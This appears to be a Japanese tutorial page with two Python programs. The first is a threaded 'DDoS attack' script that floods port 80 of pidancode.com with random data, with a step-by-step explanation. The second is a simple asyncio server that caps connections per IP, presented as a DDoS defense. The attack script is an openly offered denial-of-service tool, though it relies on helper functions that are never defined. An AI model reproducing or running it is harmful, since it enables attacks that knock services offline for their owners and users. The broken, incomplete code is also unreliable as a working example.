直接にコードを追加します：
import threading
import random
class DDoSAttackThread(threading.Thread):
"""DDoS攻撃スレッド"""
def __init__(self, target, port, num_requests):
"""DDoS攻撃スレッドの初期化"""
super().__init__()
self.target = target
self.port = port
self.num_requests = num_requests
def run(self):
"""DDoS攻撃の実行"""
ip = "127.0.0.1"
for _ in range(self.num_requests):
data = generate_random_data(1024)
send_data_to_server(self.target, self.port, data, ip)
class DDoSAttackManager:
"""DDoS攻撃マネージャー"""
def __init__(self):
"""DDoS攻撃マネージャーの初期化"""
self.threads = []
def add_thread(self, target, port, num_requests):
"""DDoS攻撃スレッドの追加"""
thread = DDoSAttackThread(target, port, num_requests)
self.threads.append(thread)
def start_attack(self):
"""DDoS攻撃の開始"""
for thread in self.threads:
thread.start()
if __name__ == "__main__":
manager = DDoSAttackManager()
for _ in range(4):
manager.add_thread("pidancode.com", 80, 100)
manager.start_attack()
このコードでは、DDoSAttackThread と DDoSAttackManager の 2 つのクラスが定義されています。
DDoSAttackThread は、threading.Thread を継承したクラスであり、DDoS 攻撃のスレッドを表します。init メソッドでは、ターゲットの IP アドレス target、ポート port、リクエストの数 num_requests を受け取り、それらをインスタンス変数に保存します。run メソッドでは、DDoS 攻撃を実行するためのループを使用します。各ループでは、ランダムなデータ data を生成し、send_data_to_server 関数を使用してデータをターゲットサーバーに送信します。
DDoSAttackManager は、DDoS 攻撃スレッドを管理するためのクラスです。init メソッドでは、DDoS 攻撃スレッドを保存するための空のリスト threads を作成します。add_thread メソッドでは、DDoSAttackThread のインスタンスを作成し、threads リストに追加します。start_attack メソッドでは、threads リストをループして、各 DDoS 攻撃スレッドを開始します。
メインプログラムでは、DDoSAttackManager のインスタンス manager を作成します。その後、ループを使用して manager に 4 つの DDoS 攻撃スレッドを追加し、各スレッドはターゲットの IP アドレスが "pidancode.com"、ポートが 80、リクエストの数が 100 で攻撃します。最後に、manager の start_attack メソッドを呼び出して、DDoS 攻撃を開始します。
import asyncio
class DDoSDefender:
"""DDoS防御装置"""
def __init__(self, max_conn=100):
"""DDoS防御装置の初期化"""
self.max_conn = max_conn
self.conn_counts = {}
async def handle_connection(self, reader, writer):
"""接続要求の処理"""
addr = writer.get_extra_info('peername')
ip = addr[0]
if ip not in self.conn_counts:
self.conn_counts[ip] = 0
if self.conn_counts[ip] >= self.max_conn:
writer.close()
print(f"IPアドレス{ip}の接続数が上限に達しました。接続を拒否します。")
else:
self.conn_counts[ip] += 1
writer.write(b"Welcome to pidancode.com!")
await writer.drain()
data = await reader.read(1024)
print(f"{ip}から{len(data)}バイトのデータを受信しました。")
writer.close()
self.conn_counts[ip] -= 1
async def run(self):
"""DDoS防御装置の起動"""
server = await asyncio.start_server(
self.handle_connection, '0.0.0.0', 80)
addr = server.sockets[0].getsockname()
print(f'{addr}でサービスを提供しています。')
async with server:
await server.serve_forever()
if __name__ == "__main__":
defender = DDoSDefender()
asyncio.run(defender.run())
このコードでは、Python の asyncio ライブラリを使用して非同期 IO 操作を実現しています。
まず、DDoSDefender という名前のクラスを定義し、DDoS 防御装置の機能をカプセル化しています。init メソッドでは、最大接続数 max_conn を指定することができます。また、conn_counts という辞書を作成して、各 IP アドレスの接続数を記録します。
次に、handle_connection という名前の非同期メソッドを定義し、接続要求を処理します。このメソッドは、reader と writer という 2 つのパラメータを受け取り、データの読み取りと書き込みを行います。
メソッド内では、まず writer.get_extra_info ('peername') を使用してクライアントの IP アドレスを取得します。次に、conn_counts 辞書にその IP アドレスが存在するかどうかをチェックし、存在しない場合は 0 で初期化します。
その後、その IP アドレスの接続数が最大接続数に達しているかどうかをチェックします。達している場合は接続を閉じて、メッセージを表示します。達していない場合は、その IP アドレスの接続数を 1 増やし、クライアントに "Welcome to pidancode.com!" というメッセージを送信します。
その後、await writer.drain () を使用して書き込み操作が完了するまで待機します。その後、await reader.read (1024) を使用してクライアントからデータを読み取り、受信したデータのバイト数を表示します。
最後に、接続を閉じて、その IP アドレスの接続数を 1 減らします。
次に、run という非同期メソッドを定義し、DDoS 防御装置を起動します。メソッド内では、asyncio.start_server メソッドを使用してサーバーオブジェクトを作成し、リッスンする IP アドレスとポートを指定します。
その後、server.sockets [0].getsockname () を使用してサーバーのアドレス情報を取得し、表示します。
そして、async with server を使用してサーバーのライフサイクルを管理し、server.serve_forever () メソッドを呼び出してサーバーを起動し、常に実行されるようにします。
最後に、メインプログラムでは、DDoSDefender のインスタンス defender を作成し、asyncio.run メソッドを使用して defender の run メソッドを実行して、DDoS 防御装置を起動します。